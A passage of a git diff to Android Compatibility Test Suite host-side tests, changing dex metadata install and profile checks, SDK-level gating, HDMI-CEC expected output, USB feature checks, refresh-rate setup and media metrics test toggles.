index 0000000..a696d2c
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp-S.dm
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp-S.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp-S.dm.fsv_sig
new file mode 100644
index 0000000..8f6ddfa
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp-S.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
index 7f81e06..6ea0db2 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
@@ -35,11 +35,14 @@
  */
 /*package*/ class BaseInstallMultiple<T extends BaseInstallMultiple<?>> {
 
+    private static final String FSV_SIG_SUFFIX = ".fsv_sig";
+
     private final ITestDevice mDevice;
     private final IBuildInfo mBuild;
 
     private final List<String> mArgs = new ArrayList<>();
     private final List<File> mFilesToInstall = new ArrayList<>();
+    private final List<String> mInstallNames = new ArrayList<>();
 
     /*package*/ BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo) {
         mDevice = device;
@@ -54,13 +57,20 @@
 
     T addApk(File apk) {
         mFilesToInstall.add(apk);
+        mInstallNames.add(apk.getName());
         return (T) this;
     }
 
-    T addDm(File dma, File sig) {
-        mFilesToInstall.add(dma);
+    T addDm(File dm, File sig) {
+        return addDm(dm, sig, dm.getName());
+    }
+
+    T addDm(File dm, File sig, String dm_name) {
+        mFilesToInstall.add(dm);
+        mInstallNames.add(dm_name);
         if (sig != null) {
             mFilesToInstall.add(sig);
+            mInstallNames.add(dm_name + FSV_SIG_SUFFIX);
         }
         return (T) this;
     }
@@ -108,32 +118,56 @@
 
         // Push our files into session. Ideally we'd use stdin streaming,
         // but ddmlib doesn't support it yet.
-        for (final File file : mFilesToInstall) {
-            final String remotePath = "/data/local/tmp/" + file.getName();
-            if (!device.pushFile(file, remotePath)) {
-                throw new IllegalStateException("Failed to push " + file);
+        assert(mFilesToInstall.size() == mInstallNames.size());
+        int numPushedFiles = 0;
+        boolean success = false;
+        try {
+            for (int i = 0, size = mFilesToInstall.size(); i != size; ++i) {
+                File file = mFilesToInstall.get(i);
+                String name = mInstallNames.get(i);
+                final String remotePath = "/data/local/tmp/" + name;
+                if (!device.pushFile(file, remotePath)) {
+                    throw new IllegalStateException("Failed to push " + file);
+                }
+
+                cmd.setLength(0);
+                cmd.append("pm install-write");
+                cmd.append(' ').append(sessionId);
+                cmd.append(' ').append(name);
+                cmd.append(' ').append(remotePath);
+
+                result = device.executeShellCommand(cmd.toString());
+                TestCase.assertTrue(result, result.startsWith("Success"));
             }
 
+            // Everything staged; let's pull trigger
             cmd.setLength(0);
-            cmd.append("pm install-write");
+            cmd.append("pm install-commit");
             cmd.append(' ').append(sessionId);
-            cmd.append(' ').append(file.getName());
-            cmd.append(' ').append(remotePath);
 
             result = device.executeShellCommand(cmd.toString());
-            TestCase.assertTrue(result, result.startsWith("Success"));
-        }
-
-        // Everything staged; let's pull trigger
-        cmd.setLength(0);
-        cmd.append("pm install-commit");
-        cmd.append(' ').append(sessionId);
-
-        result = device.executeShellCommand(cmd.toString());
-        if (expectingSuccess) {
-            TestCase.assertTrue(result, result.contains("Success"));
-        } else {
-            TestCase.assertFalse(result, result.contains("Success"));
+            if (expectingSuccess) {
+                TestCase.assertTrue(result, result.contains("Success"));
+            } else {
+                TestCase.assertFalse(result, result.contains("Success"));
+            }
+            success = true;
+        } finally {
+            String firstBadResult = null;
+            for (int i = 0; i != numPushedFiles; ++i) {
+                String name = mInstallNames.get(i);
+                final String remotePath = "/data/local/tmp/" + name;
+                cmd.setLength(0);
+                cmd.append("rm");
+                cmd.append(' ').append(remotePath);
+                result = device.executeShellCommand(cmd.toString());
+                if (firstBadResult == null && !result.isEmpty()) {
+                  firstBadResult = result;
+                }
+            }
+            if (success && firstBadResult != null) {
+                TestCase.assertTrue(firstBadResult, firstBadResult.isEmpty());
+            }
         }
     }
 }
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
index 6a2ae06..b4acddb 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
@@ -66,6 +66,7 @@
             = "CtsDexMetadataSplitAppFeatureAWithVdex.apk";
 
     private static final String DM_BASE = "CtsDexMetadataSplitApp.dm";
+    private static final String DM_S_BASE = "CtsDexMetadataSplitApp-S.dm";
     private static final String DM_FEATURE_A = "CtsDexMetadataSplitAppFeatureA.dm";
     private static final String DM_BASE_WITH_VDEX = "CtsDexMetadataSplitAppWithVdex.dm";
     private static final String DM_FEATURE_A_WITH_VDEX
@@ -81,6 +82,8 @@
     private File mApkFeatureAFileWithVdex = null;
     private File mDmBaseFile = null;
     private File mDmBaseFsvSigFile = null;
+    private File mDmBaseFileForS = null;
+    private File mDmBaseFsvSigFileForS = null;
     private File mDmFeatureAFile = null;
     private File mDmFeatureAFsvSigFile = null;
     private File mDmBaseFileWithVdex = null;
@@ -117,6 +120,8 @@
             mApkFeatureAFileWithVdex = extractResource(APK_FEATURE_A_WITH_VDEX, mTmpDir);
             mDmBaseFile = extractResource(DM_BASE, mTmpDir);
             mDmBaseFsvSigFile = extractResource(DM_BASE + FSV_SIG_SUFFIX , mTmpDir);
+            mDmBaseFileForS = extractResource(DM_S_BASE, mTmpDir);
+            mDmBaseFsvSigFileForS = extractResource(DM_S_BASE + FSV_SIG_SUFFIX , mTmpDir);
             mDmFeatureAFile = extractResource(DM_FEATURE_A, mTmpDir);
             mDmFeatureAFsvSigFile = extractResource(DM_FEATURE_A + FSV_SIG_SUFFIX, mTmpDir);
             mDmBaseFileWithVdex = extractResource(DM_BASE_WITH_VDEX, mTmpDir);
@@ -211,20 +216,15 @@
     }
 
     /**
-     * Verify .dm installation for base but not for splits and with a .dm file that doesn't match
-     * an apk.
+     * Verify .dm installation for base but not for splits and with a .dm name
+     * that doesn't match the apk name.
      */
     @Test
     public void testInstallDmForBaseButNoSplitWithNoMatchingDm() throws Exception {
-        File nonMatchingDm = new File(mDmFeatureAFile.getAbsoluteFile().getAbsolutePath()
-                .replace(".dm", ".not.there.dm"));
-        FileUtil.copyFile(mDmFeatureAFile, nonMatchingDm);
-        File nonMatchingDmFsvSig = new File(mDmFeatureAFsvSigFile.getAbsoluteFile()
-                .getAbsolutePath()
-                .replace(".dm" + FSV_SIG_SUFFIX, ".not.there.dm" + FSV_SIG_SUFFIX));
-        FileUtil.copyFile(mDmFeatureAFsvSigFile, nonMatchingDmFsvSig);
+        String nonMatchingDmName = mDmFeatureAFile.getName().replace(".dm", ".not.there.dm");
         new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
-                .addApk(mApkFeatureAFile).addDm(nonMatchingDm, nonMatchingDmFsvSig).run();
+                .addApk(mApkFeatureAFile).addDm(
+                        mDmFeatureAFile, mDmFeatureAFsvSigFile, nonMatchingDmName).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseButNoSplit"));
@@ -323,29 +323,19 @@
         }
     }
 
-    private static int getProfileVersion(byte[] bytes) {
-        assertEquals(bytes[0], (byte) 'p');
-        assertEquals(bytes[1], (byte) 'r');
-        assertEquals(bytes[2], (byte) 'o');
-        assertEquals(bytes[3], (byte) '\0');
-        assertEquals(bytes[7], (byte) '\0');
-        int version = 0;
-        for (int pos = 4; pos != 7; ++pos) {
-            byte digit = bytes[pos];
-            if (digit < (byte) '0' || digit > (byte) '9') {
-                throw new Error("Non-numeric profile version");
-            }
-            version = version * 10 + (((int) digit) - '0');
-        }
-        return version;
-    }
-
     @Test
     public void testProfileSnapshotAfterInstall() throws Exception {
         assumeProfilesAreEnabled();
 
+        // Determine which profile to use.
+        boolean useProfileForS = ApiLevelUtil.isAtLeast(getDevice(), "S");
+
         // Install the app.
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile).run();
+        File dmBaseFile = useProfileForS ? mDmBaseFileForS : mDmBaseFile;
+        File dmBaseFsvSigFile = useProfileForS ? mDmBaseFsvSigFileForS : mDmBaseFsvSigFile;
+        String dmName = mDmBaseFile.getName();  // APK name with ".apk" replaced by ".dm".
+        new InstallMultiple()
+                .addApk(mApkBaseFile).addDm(dmBaseFile, dmBaseFsvSigFile, dmName).run();
 
         // Take a snapshot of the installed profile.
         String snapshotCmd = "cmd package snapshot-profile " + INSTALL_PACKAGE;
@@ -354,27 +344,22 @@
 
         // Extract the profile bytes from the dex metadata and from the profile snapshot.
         byte[] rawDeviceProfile = extractProfileSnapshotFromDevice();
-        int deviceProfileVersion = getProfileVersion(rawDeviceProfile);
-        switch (deviceProfileVersion) {
-            case 10: {
-                byte[] snapshotProfileBytes = new ProfileReaderV10(rawDeviceProfile).data;
-                byte[] expectedProfileBytes =
-                        new ProfileReaderV10(extractProfileFromDexMetadata(mDmBaseFile)).data;
+        byte[] rawMetadataProfile = extractProfileFromDexMetadata(dmBaseFile);
+        if (useProfileForS) {
+            ProfileReaderV15 snapshotReader = new ProfileReaderV15(rawDeviceProfile);
+            ProfileReaderV15 expectedReader = new ProfileReaderV15(rawMetadataProfile);
 
-                assertArrayEquals(expectedProfileBytes, snapshotProfileBytes);
-                break;
-            }
-            case 15: {
-                ProfileReaderV15 reader = new ProfileReaderV15(rawDeviceProfile);
-                // TODO: Support newer profiles implemented for b/148067697.
-                // Currently the .dm file is still version 10, so we cannot compare against it.
-                System.out.println("TODO: Check profile version 15.");
-                break;
-            }
-            default: {
-                throw new Error("Unsupported profile version: " + deviceProfileVersion);
-            }
-        }
+            assertArrayEquals(expectedReader.dexFilesData, snapshotReader.dexFilesData);
+            assertArrayEquals(expectedReader.extraDescriptorsData,
+                              snapshotReader.extraDescriptorsData);
+            assertArrayEquals(expectedReader.classesData, snapshotReader.classesData);
+            assertArrayEquals(expectedReader.methodsData, snapshotReader.methodsData);
+         } else {
+            byte[] snapshotProfileBytes = new ProfileReaderV10(rawDeviceProfile).data;
+            byte[] expectedProfileBytes = new ProfileReaderV10(rawMetadataProfile).data;
+
+            assertArrayEquals(expectedProfileBytes, snapshotProfileBytes);
+         }
     }
 
     /**
diff --git a/hostsidetests/edi/Android.bp b/hostsidetests/edi/Android.bp
index 3f4bac8..1b32a4b 100644
--- a/hostsidetests/edi/Android.bp
+++ b/hostsidetests/edi/Android.bp
@@ -33,6 +33,7 @@
     ],
     static_libs: [
         "compat-classpaths-testing",
+        "modules-utils-build-testing",
         "hamcrest-library",
     ],
 }
diff --git a/hostsidetests/edi/app/Android.bp b/hostsidetests/edi/app/Android.bp
index 6ef3059..96f2870 100644
--- a/hostsidetests/edi/app/Android.bp
+++ b/hostsidetests/edi/app/Android.bp
@@ -20,9 +20,12 @@
     name: "CtsDeviceInfoTestApp",
     srcs: ["src/**/*.java"],
     defaults: ["cts_defaults"],
+    min_sdk_version: "26",
+    target_sdk_version: "31",
     static_libs: [
         "androidx.test.rules",
         "androidx.test.core",
+        "modules-utils-build",
         "guava",
     ],
     sdk_version: "test_current",
diff --git a/hostsidetests/edi/app/AndroidManifest.xml b/hostsidetests/edi/app/AndroidManifest.xml
index 00206b7..2f589dc 100644
--- a/hostsidetests/edi/app/AndroidManifest.xml
+++ b/hostsidetests/edi/app/AndroidManifest.xml
@@ -19,6 +19,8 @@
           package="android.edi.cts.app"
           android:targetSandboxVersion="2">
 
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="31"/>
+
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.ACCESS_SHARED_LIBRARIES" />
 
diff --git a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java b/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java
index a68d626..5c22e43 100644
--- a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java
+++ b/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java
@@ -16,6 +16,8 @@
 
 package android.edi.cts.app;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.pm.SharedLibraryInfo;
@@ -24,6 +26,8 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.modules.utils.build.SdkLevel;
+
 import com.google.common.collect.ImmutableList;
 
 import org.junit.After;
@@ -53,6 +57,7 @@
 
     @Before
     public void before() {
+        assumeTrue(SdkLevel.isAtLeastS());
         instrumentation.getUiAutomation().adoptShellPermissionIdentity();
     }
 
diff --git a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
index 2785ab2..8fc1059 100644
--- a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
+++ b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
@@ -26,6 +26,7 @@
 
 import com.android.compatibility.common.util.DeviceInfo;
 import com.android.compatibility.common.util.HostInfoStore;
+import com.android.modules.utils.build.testing.DeviceSdkLevel;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
@@ -44,10 +45,12 @@
     private static final String HELPER_APP_CLASS = HELPER_APP_PACKAGE + ".ClasspathDeviceTest";
 
     private ITestDevice mDevice;
+    private DeviceSdkLevel deviceSdkLevel;
 
     @Override
     protected void collectDeviceInfo(HostInfoStore store) throws Exception {
         mDevice = getDevice();
+        deviceSdkLevel = new DeviceSdkLevel(mDevice);
 
         store.startArray("jars");
         collectClasspathsJars(store);
@@ -75,6 +78,10 @@
     }
 
     private void collectSharedLibraryJars(HostInfoStore store) throws Exception {
+        if (!deviceSdkLevel.isDeviceAtLeastS()) {
+            return;
+        }
+
         // Trigger helper app to collect and write info about shared libraries on the device.
         assertThat(runDeviceTests(HELPER_APP_PACKAGE, HELPER_APP_CLASS)).isTrue();
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
index a8b1dd2..720242a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -43,7 +43,7 @@
      */
     @Test
     public void cect_11_2_6_1_Ack() throws Exception {
-        String expectedOutput = "POLL sent";
+        String expectedOutput = "POLL message sent";
         hdmiCecClient.sendPoll();
         if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
             throw new Exception("Could not find " + expectedOutput);
@@ -63,7 +63,7 @@
         ITestDevice device = getDevice();
         device.executeShellCommand("input keyevent KEYCODE_SLEEP");
 
-        String expectedOutput = "POLL sent";
+        String expectedOutput = "POLL message sent";
         hdmiCecClient.sendPoll();
         if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
             throw new Exception("Could not find " + expectedOutput);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index 1f46b56..d6da4c3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -65,7 +65,9 @@
                 Arrays.asList(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID,
                         CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION,
                         CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS,
-                        CecOperand.GET_MENU_LANGUAGE));
+                        CecOperand.GET_MENU_LANGUAGE, CecOperand.ACTIVE_SOURCE,
+                        CecOperand.REQUEST_ACTIVE_SOURCE, CecOperand.GIVE_PHYSICAL_ADDRESS,
+                        CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
         allowedMessages.addAll(expectedMessages);
 
         device.executeShellCommand("reboot");
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
index e602e23..2b432b2 100644
--- a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -32,6 +32,8 @@
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
     <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>
+
     <application android:label="@string/app_name">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index f62334f..e2d4d87 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -23,6 +23,7 @@
 import android.service.GraphicsStatsProto;
 import android.service.GraphicsStatsServiceDumpProto;
 
+import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.google.common.collect.Range;
 
 import java.util.ArrayList;
@@ -119,8 +120,44 @@
         assertThat(GPUJank).isAtMost(2);
     }
 
+    private String executeShellCommand(String command) throws Exception {
+        String result = "";
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand(command,receiver);
+        result = (new String(receiver.getOutput())).trim();
+        return result;
+    }
+
+    //refreshRate[0]:min refresh reate refreshRate[1]:max refresh rate
+    private String[] setRefreshRate(String refreshRate[]) {
+        String origRefreshRate[] = {"",""};
+        final String gettingCommands[] = {"settings get system min_refresh_rate",
+                                          "settings get system peak_refresh_rate"};
+        final String puttingCommands[] = {"settings put system min_refresh_rate",
+                                          "settings put system peak_refresh_rate"};
+        try {
+            for (int i = 0; i < 2; i++)
+                origRefreshRate[i] = executeShellCommand(gettingCommands[i]);
+
+            for (int i = 0; i < 2; i++)
+                executeShellCommand(puttingCommands[i] + " " + refreshRate[i]);
+
+            System.out.println("display refresh rate settings:min=" + origRefreshRate[0]
+                            + " peak=" + origRefreshRate[1]
+                            + ",expected to be set to min=" + refreshRate[0]
+                            + " peak=" + refreshRate[1]);
+        } catch (Exception ex) {
+            ex.printStackTrace();
+            origRefreshRate[0] = "";
+            origRefreshRate[1] = "";
+        }
+        return origRefreshRate;
+    }
+
     public void testDaveyDrawFrame() throws Exception {
+        String origRefreshRate[] = setRefreshRate(new String[]{"61", "60"});
         GraphicsStatsProto[] results = runDrawTest("testDrawDaveyFrames");
+        setRefreshRate(origRefreshRate);
         GraphicsStatsProto statsBefore = results[0];
         GraphicsStatsProto statsAfter = results[1];
         GraphicsStatsJankSummaryProto summaryBefore = statsBefore.getSummary();
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index 1bca0bd..a756004 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -67,7 +67,9 @@
 
         WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
 
-        UsbIncidentTest.verifyUsbServiceDumpProto(dump.getUsb(), filterLevel);
+        if (UsbIncidentTest.hasUsbFunctionality(getDevice())) {
+            UsbIncidentTest.verifyUsbServiceDumpProto(dump.getUsb(), filterLevel);
+        }
     }
 
     // Splitting these into separate methods to make debugging easier.
diff --git a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
index 71e0dd2..ebb4191 100644
--- a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
@@ -16,6 +16,8 @@
 
 package com.android.server.cts;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.service.usb.UsbAccessoryProto;
 import android.service.usb.UsbDebuggingManagerProto;
 import android.service.usb.UsbDeviceFilterProto;
@@ -27,12 +29,30 @@
 import android.service.usb.UsbServiceDumpProto;
 import android.service.usb.UsbSettingsDevicePreferenceProto;
 import android.service.usb.UsbSettingsManagerProto;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
 
 /**
  * Tests for the UsbService proto dump.
  */
 public class UsbIncidentTest extends ProtoDumpTestCase {
+
+    /** Value of PackageManager.FEATURE_USB_HOST */
+    private static final String FEATURE_USB_HOST = "android.hardware.usb.host";
+
+    /** Value of PackageManager.FEATURE_USB_ACCESSORY */
+    private static final String FEATURE_USB_ACCESSORY = "android.hardware.usb.accessory";
+
+    public static boolean hasUsbFunctionality(ITestDevice device) throws DeviceNotAvailableException {
+        boolean hasUsbHost = device.hasFeature(FEATURE_USB_HOST);
+        boolean hasUsbAccessory = device.hasFeature(FEATURE_USB_ACCESSORY);
+        return hasUsbHost || hasUsbAccessory;
+    }
+
     public void testUsbServiceDump() throws Exception {
+        // Devices that don't support USB functionality won't dump a USB service proto.
+        assumeTrue("Device doesn't support USB functionality.", hasUsbFunctionality(getDevice()));
+
         final UsbServiceDumpProto dump = getDump(UsbServiceDumpProto.parser(),
                 "dumpsys usb --proto");
 
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index 0c94671..81e3304 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -28,6 +28,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.incrementalinstall.common.Consts;
+import android.platform.test.annotations.LargeTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
@@ -235,6 +236,33 @@
         validateAppLaunch(TEST_APP_PACKAGE_NAME, ON_CREATE_COMPONENT, DYNAMIC_CODE_COMPONENT);
     }
 
+    @LargeTest
+    @Test
+    public void testAddSplitToExistingInstallAfterReboot() throws Exception {
+        verifyInstallCommandSuccess(installWithAdbInstaller(TEST_APP_BASE_APK_NAME));
+        verifyPackageInstalled(TEST_APP_PACKAGE_NAME);
+        verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
+                TEST_APP_V1_VERSION);
+        validateAppLaunch(TEST_APP_PACKAGE_NAME, ON_CREATE_COMPONENT);
+        // Reboot!
+        getDevice().reboot();
+        // Adb cannot add a split to an existing install, so we'll use pm to install just the
+        // dynamic code split.
+        String deviceLocalPath = "/data/local/tmp/";
+        getDevice().executeAdbCommand("push", getFilePathFromBuildInfo(TEST_APP_DYNAMIC_CODE_NAME),
+                deviceLocalPath);
+        getDevice().executeAdbCommand("push",
+                getFilePathFromBuildInfo(TEST_APP_DYNAMIC_CODE_NAME + SIG_SUFFIX),
+                deviceLocalPath);
+        getDevice().executeShellCommand(
+                String.format("pm install-incremental -p %s %s", TEST_APP_PACKAGE_NAME,
+                        deviceLocalPath + TEST_APP_DYNAMIC_CODE_NAME));
+        // Verify still on Incremental.
+        verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
+                TEST_APP_V1_VERSION);
+        validateAppLaunch(TEST_APP_PACKAGE_NAME, ON_CREATE_COMPONENT, DYNAMIC_CODE_COMPONENT);
+    }
+
     @Test
     public void testZeroVersionUpdateAdbInstall() throws Exception {
         verifyInstallCommandSuccess(installWithAdbInstaller(TEST_APP_BASE_APK_NAME));
diff --git a/hostsidetests/media/app/MediaMetricsTest/Android.bp b/hostsidetests/media/app/MediaMetricsTest/Android.bp
index 3e7d643..ebab6b4 100644
--- a/hostsidetests/media/app/MediaMetricsTest/Android.bp
+++ b/hostsidetests/media/app/MediaMetricsTest/Android.bp
@@ -50,6 +50,7 @@
     ],
     static_libs: [
         "androidx.test.rules",
+        "compatibility-device-util-axt",
         "truth-prebuilt",
     ],
     sdk_version: "test_current",
diff --git a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
index cc2f21c..28bb556 100644
--- a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
+++ b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
@@ -29,19 +29,75 @@
 import android.media.metrics.RecordingSession;
 import android.media.metrics.TrackChangeEvent;
 import android.os.Bundle;
+import android.provider.DeviceConfig;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.lang.InterruptedException;
+
 import org.junit.Test;
 
 public class MediaMetricsAtomHostSideTests {
+    private static final String MEDIA_METRICS_MODE = "media_metrics_mode";
+    private static final String PLAYER_METRICS_APP_ALLOWLIST = "player_metrics_app_allowlist";
+    private static final String PLAYER_METRICS_APP_BLOCKLIST = "player_metrics_app_blocklist";
+    private static final String PLAYER_METRICS_PER_APP_ATTRIBUTION_ALLOWLIST =
+            "player_metrics_per_app_attribution_allowlist";
+    private static final String PLAYER_METRICS_PER_APP_ATTRIBUTION_BLOCKLIST =
+            "player_metrics_per_app_attribution_blocklist";
+    private static final String MEDIA_METRICS_MODE_ON = "1";
+    private static final String MEDIA_METRICS_MODE_BLOCKLIST = "2";
+    private static final String MEDIA_METRICS_MODE_ALLOWLIST = "3";
+    private static final String TEST_PKG = "android.media.metrics.cts";
+    private static final int DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS = 1000;
 
     static {
         System.loadLibrary("CtsMediaMetricsHostTestAppJni");
     }
 
+    private static void resetProperties() throws InterruptedException {
+        // ensure the event/metric is sent.
+        Thread.sleep(1000);
+        // see DeviceConfig#resetToDefaults(int, String).
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            DeviceConfig.setProperties(
+                    new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_MEDIA).build());
+        });
+        // ensure the property is set.
+        Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
+    }
+
+    private static void turnOnForTesting() throws InterruptedException {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            DeviceConfig.setProperty(
+                    DeviceConfig.NAMESPACE_MEDIA,
+                    MEDIA_METRICS_MODE,
+                    MEDIA_METRICS_MODE_ON,
+                    /*makeDefault=*/ false);
+        });
+        // ensure the property is set.
+        Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
+    }
+
+
+    @Test
+    public void testPlaybackStateEvent_default() throws Exception {
+        turnOnForTesting();
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackStateEvent e =
+                new PlaybackStateEvent.Builder().build();
+        s.reportPlaybackStateEvent(e);
+        resetProperties();
+    }
+
+
     @Test
     public void testPlaybackStateEvent() throws Exception {
+        turnOnForTesting();
         Context context = InstrumentationRegistry.getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
@@ -52,10 +108,26 @@
                         .setMetricsBundle(new Bundle())
                         .build();
         s.reportPlaybackStateEvent(e);
+        resetProperties();
+    }
+
+    @Test
+    public void testPlaybackErrorEvent_default() throws Exception {
+        turnOnForTesting();
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackErrorEvent e =
+                new PlaybackErrorEvent.Builder()
+                        .setException(new Exception(""))
+                        .build();
+        s.reportPlaybackErrorEvent(e);
+        resetProperties();
     }
 
     @Test
     public void testPlaybackErrorEvent() throws Exception {
+        turnOnForTesting();
         Context context = InstrumentationRegistry.getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
@@ -68,10 +140,24 @@
                         .setMetricsBundle(new Bundle())
                         .build();
         s.reportPlaybackErrorEvent(e);
+        resetProperties();
+    }
+
+    @Test
+    public void testTrackChangeEvent_default() throws Exception {
+        turnOnForTesting();
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        TrackChangeEvent e =
